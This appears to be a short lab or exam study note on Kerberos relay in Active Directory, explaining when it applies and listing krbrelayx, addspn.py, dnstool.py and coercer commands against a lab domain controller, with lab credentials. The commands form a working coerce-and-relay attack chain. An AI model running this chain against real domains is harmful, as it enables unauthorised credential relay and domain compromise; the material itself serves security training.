Kerberos relay is not the same as NTLM relay. Kerberos tickets are normally bound to a target SPN, so successful Kerberos relay depends on service validation weaknesses, SPN control, or a target service that accepts a relayed Kerberos context in a useful way.
When to consider it
- NTLM is disabled or heavily restricted.
- The target environment still accepts SPNEGO/Kerberos on relayable services.
- We can coerce Kerberos authentication to an attacker-controlled listener.
- We have or can create SPN/DNS conditions that make the target accept the relayed token.
Generic krbrelayx listener pattern
python3 krbrelayx.py --target ldap://dc01.ootw.local --listen-ip 10.10.10.100 --debug
Add or control SPN with krbrelayx tooling
addspn.py -u 'ootw.local\student' -p 'student' -s 'HTTP/relay.ootw.local' 'ATTACKER01$' -t dc01.ootw.local
DNS helper pattern
dnstool.py -u 'ootw.local\student' -p 'student' -r relay.ootw.local -a add -d 10.10.10.100 10.10.10.200
Coerce authentication
coercer coerce -d ootw.local -u student -p 'student' --target 10.10.10.201 --listener 10.10.10.100
Notes
Kerberos relay is more implementation-sensitive than NTLM relay. Treat exact flags as tool-version dependent and validate with the krbrelayx build used in the lab.
The practical exam signal is not memorizing one krbrelayx command. The signal is recognizing why NTLM relay fails, what Kerberos binding is supposed to protect, and which service behavior breaks that protection.